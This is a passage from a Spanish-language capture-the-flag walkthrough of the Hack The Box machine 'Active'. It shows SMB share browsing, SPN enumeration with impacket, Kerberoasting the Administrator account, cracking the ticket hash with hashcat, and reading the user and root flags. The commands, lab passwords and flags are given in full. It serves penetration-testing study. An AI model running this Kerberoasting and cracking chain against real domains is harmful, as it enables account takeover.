smb: > cd SVC_TGS smb: \SVC_TGS> ls . D 0 Sat Jul 21 17:16:32 2018 .. D 0 Sat Jul 21 17:16:32 2018 Contacts D 0 Sat Jul 21 17:14:11 2018 Desktop D 0 Sat Jul 21 17:14:42 2018 Downloads D 0 Sat Jul 21 17:14:23 2018 Favorites D 0 Sat Jul 21 17:14:44 2018 Links D 0 Sat Jul 21 17:14:57 2018 My Documents D 0 Sat Jul 21 17:15:03 2018 My Music D 0 Sat Jul 21 17:15:32 2018 My Pictures D 0 Sat Jul 21 17:15:43 2018 My Videos D 0 Sat Jul 21 17:15:53 2018 Saved Games D 0 Sat Jul 21 17:16:12 2018 Searches D 0 Sat Jul 21 17:16:24 2018
```

5217023 blocks of size 4096. 279186 blocks available

El directorio de SVC_TGS no contiene archivos, pero la estructura es típica de un perfil de usuario en Windows. Esto sugiere que SVC_TGS es un usuario activo en el dominio, vamos a explorar que se ve en cada uno de los shares a los que tenemos acceso con estas credenciales para ver si hay algo útil. Y en el directorio Desktop nos encontramos con el archivo user.txt, que es el primer objetivo de la máquina. Procedemos a descargarlo y a leer su contenido.

```
smb: \SVC_TGS\Desktop> get user.txt getting file \SVC_TGS\Desktop\user.txt of size 34 as user.txt (0,2 KiloBytes/sec) (average 0,2 KiloBytes/sec) smb: \SVC_TGS\Desktop> ! cat user.txt bed05b723496f102483aaf7bebac6238
```

Ya tenemos la primera flag, vamos a por la escalada de privilegios.

Vamos a por Kerberos, que es el servicio más típico para la escalada en entornos AD después de obtener credenciales. Vamos a probar a solicitar un ticket TGS para el servicio CIFS utilizando las credenciales de SVC_TGS. Utilizaremos impacket-GetUserSPNs que es una herramienta de la suite impacket diseñada para solicitar tickets TGS y extraer hashes de contraseñas y que Parrot tiene instalada por defecto.

Primero una enumeración de SPNs para ver si hay algún servicio con SPN registrado que podamos atacar.

```
> impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip 10.129.22.210 Impacket v0.11.0 - Copyright 2023 Fortra
```

ServicePrincipalName	Name	MemberOf	PasswordLastSet	LastLogon	Delegation
----------------------	------	----------	-----------------	-----------	------------

active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb	2018-07-18 21:06:40.351723	2026-04-17 16:47:38.977345	
--	----------------------------	----------------------------	--

El servicio CIFS tiene un SPN registrado, lo que significa que podemos solicitar un ticket TGS para ese servicio utilizando las credenciales de SVC_TGS. Esto es una oportunidad clara para intentar una escalada de privilegios utilizando el ataque conocido como Kerberoasting, que consiste en solicitar un ticket TGS para un servicio con SPN registrado y luego intentar crackear el hash de la contraseña del servicio para obtener acceso a la cuenta que lo registra, en este caso la cuenta de Administrator.

Vamos a pedir un ticket TGS para el servicio CIFS utilizando las credenciales de SVC_TGS.

```
> impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip 10.129.22.210 -request-user Administrator Impacket v0.11.0 - Copyright 2023 Fortra
```

```
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
```

```
active/CIFS:445 Administrator CN=Group Policy Creator
Owners,CN=Users,DC=active,DC=htb 2018-07-18 21:06:40.351723 2026-04-17
16:47:38.977345
```

```
[-] CCache file is not found. Skipping...
```

```
$krb5tgs$23$Administrator$ACTIVE.HTB$active.htb/
```

```
Administrator$56c4797c69114602333186514438a827$5c293143e5d8f359be3fbb3158e99e22be
```

El hash obtenido es un hash de contraseña de Kerberos para la cuenta de Administrator. Ahora el siguiente paso sería intentar crackear este hash utilizando una herramienta como Hashcat o John the Ripper para obtener la contraseña en texto claro y así poder acceder a la cuenta de Administrator y escalar privilegios en el dominio. Guardamos el hash en un fichero para facilitar su uso con las herramientas de cracking.

```
> hashcat -m 13100 -a 0 /home/r4mon/pentest/targets/HTB/easy/ACTIVE/content/
administrator_tgs.hash /usr/share/wordlists/rockyou.txt hashcat (v6.2.6) starting
```

El resultado: Ticketmaster1968

Entramos en la cuenta de Administrator utilizando las credenciales obtenidas.

```
> smbclient //10.129.22.210/C$ -U active.htb\Administrator%Ticketmaster1968 Try
"help" to get a list of possible commands. smb: > ls $Recycle.Bin DHS 0 Tue Jul 14
04:34:39 2009 Documents and Settings DHSrn 0 Tue Jul 14 07:06:44 2009 pagefile.sys
AHS 5190320128 Fri Apr 17 16:46:22 2026 PerfLogs D 0 Tue Jul 14 05:20:08 2009
Program Files DR 0 Wed Jan 12 14:11:58 2022 Program Files (x86) DR 0 Thu Jan 21
17:49:16 2021 ProgramData DHn 0 Wed Jan 12 14:09:27 2022 Recovery DHSn 0 Mon
Jul 16 12:13:22 2018 System Volume Information DHS 0 Wed Jul 18 20:45:01 2018
Users DR 0 Sat Jul 21 16:39:20 2018 Windows D 0 Fri Apr 17 17:34:59 2026
```

5217023 blocks of size 4096. 278896 blocks available

Ahora que tenemos acceso a la cuenta de Administrator, podemos explorar el sistema de archivos para encontrar la flag de root. Normalmente, esta flag se encuentra en el escritorio del usuario Administrator, así que vamos a navegar hasta ese directorio.

```
smb: > cd Users\Administrator\Desktop smb: \Users\Administrator\Desktop> ls . DR 0
Thu Jan 21 17:49:47 2021 .. DR 0 Thu Jan 21 17:49:47 2021 desktop.ini AHS 282 Mon
Jul 30 15:50:10 2018 root.txt AR 34 Fri Apr 17 16:47:36 2026
```

5217023 blocks of size 4096. 278896 blocks available

Hemos encontrado el archivo root.txt en el escritorio de Administrator. Procedemos a descargarlo y a leer su contenido.

```
smb: \Users\Administrator\Desktop> get root.txt getting file
\Users\Administrator\Desktop\root.txt of size 34 as root.txt (0,2 KiloBytes/sec)
(average 0,2 KiloBytes/sec) smb: \Users\Administrator\Desktop> !cat root.txt
7aab38b5d931524e961a3a8a44d7a2ac
```

Hemos obtenido la flag de root, lo que significa que hemos completado con éxito la escalada de privilegios en esta máquina.